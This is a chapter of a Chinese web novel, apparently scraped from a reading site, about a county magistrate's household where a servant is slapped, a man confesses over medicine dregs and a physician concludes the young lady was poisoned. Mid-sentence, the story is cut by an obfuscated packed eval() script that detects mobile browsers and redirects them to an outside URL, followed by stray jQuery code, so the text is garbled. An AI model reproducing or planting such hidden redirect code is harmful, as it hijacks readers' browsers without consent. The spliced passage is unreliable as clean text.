默认冷灰
24号文字
方正启体

5.第五章

作者:七月祺本书字数:K更新时间:
    立冬的头被打得偏到一边,她顿住,脑中准备的话此刻被打断,她缓缓抬头,有些颤抖。


    芷娘面色很冷,她没有低头,只眼眸向下,看着她。


    立冬不知为何芷娘要打她,但这巴掌她只能受着。


    芷娘只看了她片刻,训斥道:“夫人在上,你个贱婢没大没小,可知要向夫人行礼。”


    说完,随即转身,向坐在一旁一直未说话的夫人行礼,道:“夫人,是奴婢管教无方,求您责罚。”


    晨光此刻浓郁了些,从窗中透过,照亮了这方寸之地。


    夫人没有给她们眼神,甚至没有转过身,她只对着镜子整理自己的头发。


    立冬立马朝她磕头,“夫人赎罪,求夫人责罚。”


    夫人从旁边的首饰盒中拿出了一个簪子,对着镜子簪至脑后。铜镜中映出女人姣好的容貌,虽眼角已有淡淡的纹路,但眼眸明亮,皮肤透红,发质柔顺。


    她随手拨了下刚簪好的发饰坠下的流苏,铜镜中也映出立冬跪在地上的身影,但她依旧只看着自己,朱唇轻启:“并无异常,你又为何此时才回?”


    一滴汗从额角滴落到地板上,立冬挪动手臂将水渍用袖子擦掉,她回道:“回禀夫人,昨夜府中闹鬼,人多眼杂不好下手,后我跟随小珍将其轻而易举打晕,她并无反抗,也可见其并无武功。我随即进入她的屋中查探,并未发现异常。”


    “闹鬼?”夫人放下了梳子,皱眉问道。


    芷娘察觉到她的不悦和疑惑,连忙回答:“夫人,昨夜您喝了安神汤并未有所察觉,午时,任根的小厮发出惨叫,说是有鬼,不过您不用担心,这纯属无中生有,除此之外府中并无任何异常,但因为动静比较大,引得许多人围观。那任根已经被管家关起来了。”


    说到这,芷娘又想到昨夜管家和她提起的另一个人,又对夫人道:“对了,昨夜裴瑾瑜也在,他说有要事向您禀报,与小姐有关。”


    夫人淡定的神情此刻才有所波动,随即吩咐:“将人带来。”


    芷娘行礼:“是。”


    铜镜角落倒映出立冬任然跪着的身影,夫人捏捏眉头,向她道:


    “你也滚吧。”


    “谢夫人开恩。”


    二人应声退下。


    ……


    日光洒在路上,雪发出金光。


    裴珩瞥了眼屋内坐在角落的任根,看到他仍然恐惧的眼神,满意地勾了下唇角。


    他转身看向面前的管家,面色沉静道:“走吧。”


    管家有些好奇他究竟要干什么,但他也不好问,事关小姐,也不是他该问的。


    他示意身后小厮将门关上,在任根惊慌的神色中带着裴珩去往谦鹤园。


    园子很大,竹木花草繁密,但冬日寥寥,皆埋藏于这场大雪之下。


    裴珩只希望,下次再见花开之时,可千万不再这“谦鹤园”内。


    园子精美,屋内陈设更为华美,梁栋雕花繁密,紫檀木的桌椅分列于前,玉瓷的花瓶里插着几只腊梅,添了几分雅致。


    管家率先上前,对着主位的人行礼:“太爷,夫人,人带到了。”


    高位上的两人偏移视线,看向后方的裴珩,裴珩与之对视一眼,顺势跪下。


    想来这里就是太爷的屋子,也不知他怎么有兴致来凑这热闹。


    裴珩恭敬磕头:“鄙人裴瑾瑜,见过太爷,夫人。”


    县令用目光扫视了一遍裴珩,又看了眼此刻正在默默流泪的夫人,端起身侧的茶杯,晃荡晃荡,用茶盖抵着沫,凑近抿了一口。


    好茶。


    乌金石不断燃烧,热气在空气中弥漫,县令终于开口:“你是我的……”


    裴珩接上:“回太爷,是您表姐的堂弟的侄女的儿子。”


    县令点了点头。


    那就是没什么关系。


    他继续问道:“你说有要事要言,还与小姐有关,是何事?”


    裴珩抬头,目光真挚,他一掐大腿,满眼是泪,他狠狠朝前磕了一个头,然后哽咽着开口:


    “太爷,夫人,小姐的药都是我一个人的错,和任根少爷无关!”


    县令端着茶的手一顿,看了眼还在垂泪的夫人,把茶杯缓缓放下,对着裴珩道:


    “哦?你且说来。”


    裴珩声泪俱下:“太爷,夫人,您二位有所不知,在这府中,除了您,对我最为关照的便是任根少爷了。前些日子,小姐偶感风寒,府中缺药,任根少爷心热,要去外面买,但他实在是走不开身,便将此立功的机会给了我,那些药都是我买的,您们要想责罚,就罚我吧,与任根少爷无关!”


    夫人流的泪顿住,太爷端的茶也顿住了。


    裴瑾瑜这话无非就两种可能。


    任根的为人他们知道,烂的很,欺上瞒下的狗,如今居然能有人跑出来给他揽责任,这是一时没有想到的。


    要么是他给了他好处,要么是他给了他难处。


    但显然,任根只能是第二种人。


    可裴瑾瑜来之前,他们就先审了那闹鬼的二人,那二人疯疯癫癫已经神志不清,说是看到裴瑾瑜这个鬼了。


    很明显,裴瑾瑜一定被任根折磨了一遍,几乎要死。


    所以那闹鬼的也只能是裴瑾瑜。


    那他一定是想复仇的。而且显然,这几个人已经非常害怕他了,他已经取得了一定成效。


    现在这是……?


    看他们没反应,裴珩便继续道:“太爷,夫人,我怕小姐出事您二位怪罪,于是擅自藏起了药渣,我可将那药渣拿出以证任根少爷清白!”


    药渣?


    听到此关键物品,高位的两人也不管这裴瑾瑜究竟想要干什么了,命他速速拿来。


    不多时,裴珩便带着药渣回来了,一同回来的还有府医。


    其实这药渣还真是这裴瑾瑜藏起来的,当时小姐病后,任根负责把这没有的药买回来,但裴瑾瑜误听到他想在药里下东西,想要上位,于是揽了这个买药材的差事,想着不让他做手脚。


    但任根还是做了,他下了一种粉末状的东西,裴瑾瑜发现的时候小姐已经昏迷不醒了。


    他眼疾手快把药渣藏了起来,想要存下证据,但还没等揭发,这任根先找上了门来。


    他以为小姐昏迷是裴瑾瑜做的手脚,于是将其折磨以泄愤,但没想到生命脆弱,他就这么死了。


    清晨的阳光和风都很凉,但也抵不过县令府的人心凉薄。


    裴珩将这药渣递给府医,顺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012939|193866||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    口又道:“求医师还任根公子清白。”


    语气恳切,目光真诚。


    府医嘴角一抽,只道尽量。


    不多时,府医便有了结论,只是眉头紧皱,觉得不知该如何开口。


    夫人心切,着急问他:“结果如何?”


    府医行礼,认真道:“回禀太爷,夫人,从药渣的状态看,应当就是那日小姐所食之药。但……”


    “但什么?”


    府医摇了摇头,“据这药渣所显,有一味药从寒星草换成了断尘叶,断尘叶比含星草更为珍贵,但药性相同,且更为浓烈,小姐可能承受不住。所以这位裴公子应当是好心办了坏事。”


    裴瑾瑜低头懊悔。


    府医面色为难,像是还有什么话未说,他看向县令,县令皱眉,示意管家带着所有人离开了屋内。


    裴珩本来还想留下,但府医的意思明确,他就也离开了,屋内只留了县令夫人管家和府医。


    待人走光,县令又喝了口茶,把茶杯放到了桌子上,夫人面色紧张,率先问道:“医师,可是还有什么问题?”


    府医纠结片刻,跪于堂下:“太爷,夫人,药性过烈确实会导致昏迷,但绝对不会是小姐如今的状况。”


    “所以你的意思是?”


    “在下行医几十年,小姐绝对是中毒之迹啊!”说完,他又磕了一个头。


    ……


    早晨的风十分薄凉,一夜未眠,许桢捞了个扫把,在她被分配的地方早早扫了起来,借着风清醒脑袋。


    师父常言,身入武道,便也不能只学武,想要安身立命,想要锄奸扶弱,最重要的便是好好生存下去。


    所以她交给了她不少保命的东西。


    包括药和毒。


    这些显然在现代社会基本上没什么用,毕竟她还是英年早逝了,但谁曾想自己来这里了呢?


    那黑衣女子身上的毒比较罕见,寒孤引,师父还专门向她强调过这个东西,说是这种毒药在最初没有解,只能靠药物缓解,所以它便专门用来训练死士。


    但随着科技发展,在后世逐渐研究出了解药,所以这种东西也没什么用了。


    不过师父还是秉持着不可大意的原则,将上万种毒药和解药的配方都给她找出来让她背,说是将来活不下去,也能给自己找一个出路。


    这句话还是特别有用的,自己从小孤苦伶仃,师父就是靠着这点基础苦学中医,开了个小中医店养她俩。


    言归正传,许桢当时给看那黑衣女子便觉有问题,那寒孤引虽然平时不显,但中毒的人总归是不一样的。她给那女子把脉,发现其中毒后就去府医的院中想找找看能不能配个解药,本想着找不到就写个药方,但还真让她找着一个比较现成的药丸,她加工了一番就带走了。


    当然,最关键的东西不在,还得去找,不过总归是能缓解几分。


    太阳逐渐探出墙头,今日总归是不下雪了,她加快了动作,真是不想让那陈婶再找什么幺蛾子。


    一片雪随着风贴到了许桢的脸上,她突然想到了大雪里的那抹身影。


    仔细想来,此人此刻应当正在哭着表演,本来觉得这裴珩应当是清正廉洁的君子作风,没想到是如此的……


    厚颜无耻。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)